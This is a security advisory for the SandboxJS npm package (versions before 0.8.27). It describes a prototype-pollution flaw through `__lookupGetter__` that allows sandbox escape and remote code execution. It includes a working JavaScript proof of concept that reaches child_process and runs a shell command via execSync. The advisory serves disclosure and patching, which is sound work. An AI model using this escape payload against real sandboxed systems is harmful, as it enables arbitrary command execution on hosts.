GHSA-9p4w-fq8m-2hp7 SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE

• npm @nyariv/sandboxjs: < 0.8.27 → fixed in 0.8.27

Summary SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. Details https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398 The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype. PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` let getProto = Object.toString.__lookupGetter__("__proto__") let m = getProto.call(new Map()); m.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );` sb.compile(payload)().run(); ``` Impact Prototype Pollution -> RCE